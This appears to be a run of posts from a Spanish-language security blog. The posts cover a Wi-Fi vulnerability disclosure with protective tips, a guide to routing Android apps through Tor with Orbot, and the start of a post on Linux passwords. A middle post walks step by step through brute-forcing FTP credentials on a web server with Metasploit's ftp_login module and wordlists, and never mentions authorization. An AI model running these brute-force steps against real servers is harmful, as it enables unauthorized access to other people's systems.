OpenBSD fue notificado de la vulnerabilidad el 15 de julio de 2017, antes de que CERT/CC estuviera involucrado en la coordinación. Muy rápidamente, Theo de Raadt respondió y criticó la fecha límite de divulgación tentativa: "En el mundo de código abierto, si una persona escribe un diff y tiene que sentarse durante un mes, eso es muy desalentador" . Tenga en cuenta que escribí e incluyé un diff sugerido para OpenBSD ya, y que en ese momento la fecha límite de divulgación tentativa era hacia fines de agosto. Cómo compromiso, les permití parchear en silencio la vulnerabilidad. En retrospectiva, esta fue una mala decisión, ya que otros podrían redescubrir la vulnerabilidad mediante la inspección de su parche silencioso. Para evitar este problema en el futuro, OpenBSD ahora recibirá notificaciones de vulnerabilidad más cerca del final de un embargo.
¿Entonces esperas encontrar otras vulnerabilidades de Wi-Fi?
"Creo que recién estamos comenzando". - Master Chief, Halo 1
Recomendaciones de Security Hack Labs.
1. Si es posible, deshabilite su conexión mediante Wi-Fi hasta que se encuentre una solución al problema.
2. Use datos móviles en su celular en lugar de Wi-Fi.
3. Implemente la seguridad en su red haciendo uso de software cómo DNSCrypt, I2P, TOR y VPNs.
4. Mantenga actualizado diariamente el software de su computadora, móvil y router.
Esperamos que esta publicación haya sido de utilidad, cualquier
inquietud o sugerencia dejarla en los comentarios en bien, en los medios
que indicamos a continuación.
A lo largo de este tiempo hemos dedicado tiempo a realizar tutoriales sobre cómo mantener nuestra privacidad en la red desde nuestra computadora y recibimos muchas peticiones solicitando abarcar el área de la seguridad desde dispositivos móviles. Por el momento decidimos solamente añadir soporte a móviles con el S.O Android, por lo que de eso tratará el post.
Anteriormente explicamos la manera de conectarse a una VPN usando OpenVPN y el día de hoy les explicaremos cómo hacer uso de la red Tor en su totalidad desde nuestro celular. Lo primero que vamos a hacer es buscar la aplicación Orbot en la Play Store y damos en "Instalar".
Una vez instalada la aplicación la buscamos y la abrimos.
Vamos a "Configuración", está en la parte izquierda superior y activamos "Aplicaciones en modo VPN".
Una vez activada la opción, aparecerá un recuadro que nos dejará elegir las aplicaciones que queremos proxificar a travez de TOR.
Nota: Podemos seleccionarlas todas con la opción que aparece en la parte inferior izquierda.
Una vez seleccionadas las aplicaciones que deseemos proxificar con TOR, regresamos a la ventana principal de Orbot, nos aparecerá una ventana donde nos anuncia que esa característica es experimental y puede presentar inestabilidad, le damos en "Activar".
Aparecerá un mensaje del sistema Android donde nos indica que una aplicación desea crear una conexión VPN, damos en "Aceptar".
Aparecerá un recuadro informando que estamos conectados a la red TOR.
Una vez realizado comprobamos que todo haya salido bien de dos maneras:
1. Comprobamos que la opción "Aplicaciones en modo VPN" esté activada.
2. Hacemos la prueba con nuestro navegador (o con las aplicaciones que hayamos seleccionado) para verificar que el tráfico está siendo enrutado a travez de TOR.
Podemos identificar los nodos a los que estamos conectados expandiendo la notificación de nuestro sistema Android.
Recomendaciones.
1. Si tienes acceso root a tu sistema android te recomendamos realizar la proxificación transparente con Orbot en lugar de usar el modo VPN, esa opción la puedes encontrar en las configuraciones de Orbot.
2. En el momento de elegir las aplicaciones que desea proxificar, es recomendable que elijas solo aquellas que lo requieran y no todo el sistema. Proxificando todas las aplicaciones tu velocidad será bastante limitada y además puede traer problemas con las aplicaciones propias del sistema.
3. Si solamente deseas tener un navegador corriendo bajo el servicio TOR, instala Orfox que trae integración directa con Orbot.
4. Si deseas mantener tu privacidad y conocer cuales son los servicios de mensajería más seguros y privados, lee este post.
Esperamos que esta publicación haya sido de utilidad, cualquier inquietud o sugerencia dejarla en los comentarios en bien, en los medios que indicamos a continuación.
En la mayoría de los servidores hay una vulnerabilidad común que es un puerto ftp abierto. Puede ser explotado por fuerza bruta su nombre de usuario y contraseña. Esto es exactamente lo que vamos a hacer. Exploraremos un servidor web con un puerto ftp abierto.
Hay un par de cosas que usted necesita hacer esto:
Necesita es Msfconsole, en Kali o BlackArch se encuentra pre-instalado
Dos listas de palabras o diccionarios con posible usuarios y claves.
Una vez que lo tenemos, estamos bien para ir a la terminal.
Así que abre tu terminal como root. Iniciamos el servicio y actualizamos la base de datos de postgresql:
service postgresql start (KaliLinux)
systemclt start postgresql (BlackArch)
msfconsole
Comenzamos a encontrar la dirección IP de su sitio web y un puerto ftp abierto. Así que vamos a realizar un análisis rápido con Nmap.
Puede ejecutar los comandos de Nmap dentro msfconsole consola así que no se molestó en abrir otra terminal para la exploración Nmap. Escriba el siguiente comando:
nmap -F hostname
Ahora tenemos nuestro objetivo. Tenemos que encontrar nuestro exploit. Para este ataque utilizaremos ftp_login exploit. Así escriba el siguiente comando.
search ftp_login
Descubre más información sobre ftp_login escáner con el siguiente comando. se abrirá el uso, la descripción y las opciones que se pueden utilizar con esta hazaña. Hay un montón, pero casi no necesitan 4 puede ser 6 opciones sólo tiene que ir a través de todos para encontrar más información.
info auxiliary/scanner/ftp/ftp_login
Sólo tiene que escribir el comando siguiente para utilizar exploit
use auxiliary/scanner/ftp/ftp_login
show options
ahora necesitamos configurar la opción RHOST dando dirección IP de tu destino. Sólo dé la dirección IP del sitio web.
set RHOSTS dirección ip destino
Establecer las conexiones que establece la velocidad o la cantidad de múltiples procesos que desea ejecutar a la vez.
set THREADS 40
Ahora aquí comienza el verdadero trabajo.
Establecer la ruta de nombres de usuario de archivos. Aquí es donde se toman y explotar los nombres de usuario para iniciar sesión.
set USER_FILE Desktop/usernames.txt
Ahora establecer la ruta de la lista de contraseñas.
set PASS_FILE Desktop/password.txt
Ahora todo está listo. Ejecutar el exploit. Ahora empieza a probar nombres de usuario y contraseñas si encuentra el nombre de usuario y la contraseña, entonces dejará de probar y mostrará el mensaje de inicio de sesión con éxito, junto con el nombre de usuario y la contraseña.
Otra cosa que puedes hacer es usar un único nombre de usuario. Así que en lugar de utilizar una lista de palabras que puede utilizar algunos nombres de usuarios comunes como root, admin, etc. Por lo tanto, se llevará a raíz que el nombre de usuario y buscará las contraseñas de las listas de palabras.
set USERNAME root
Una vez que modifiquemos los parámetros USERNAME y PASSWORD por los correctos, lanzaremos el exploit y estaremos dentro del servidor conectados por FTP.
Con esto finalizamos nuestro post y esperamos que sea de su agrado, cualquier duda o sugerencia pueden dejarla en sus comentarios.
Las contraseñas son la clave para un sistema Linux seguro. Aseguran sus cuentas de usuario, sistemas de archivos encriptados, aplicaciones y claves SSH/GPG . Son la principal forma en que una computadora elige confiar en la persona que la usa, por lo que una gran parte de la seguridad consiste simplemente en elegir contraseñas seguras y protegerlas. Una contraseña puede cambiar dráticamente la seguridad de cualquier sistema, asegúrate de elegir la correcta.
